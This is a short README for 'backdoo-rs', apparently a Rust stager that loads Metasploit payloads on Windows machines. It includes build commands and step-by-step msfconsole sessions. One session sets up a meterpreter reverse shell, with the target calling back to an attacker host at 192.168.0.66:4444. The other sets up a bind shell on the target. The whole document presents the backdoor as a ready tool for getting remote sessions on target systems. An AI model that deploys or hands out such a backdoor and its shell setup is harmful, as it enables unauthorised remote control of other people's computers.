backdoo-rs

"Launch the Polaris
The end doesn't scare us
When will this cease?
The warheads will all rust in peace"

-- Megadeth, Rust in Peace... Polaris (1990)

Minimalistic Rust implementation of the main staging protocols used by the Metasploit Framework. Start an exploit/multi/handler instance on the attack box configured to handle one of the supported payloads, run backdoo-rs.exe on the target Windows system, and enjoy your session!

$ brew install mingw-w64
$ rustup target add x86_64-pc-windows-gnu
$ cargo build --release --target x86_64-pc-windows-gnu

Usage

C:\> backdoo-rs.exe [:port | host:port]

Examples

Reverse shell:

[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf > set LHOST 192.168.0.66
msf > exploit

[on the target box]
C:\> backdoo-rs.exe 192.168.0.66:4444

Bind shell:

[on the target box]
C:\> backdoo-rs.exe :4444

[on the attack box]
$ msfconsole
msf > use exploit/multi/handler
msf > set PAYLOAD windows/x64/meterpreter/bind_tcp
msf > set RHOST 192.168.0.20
msf > exploit
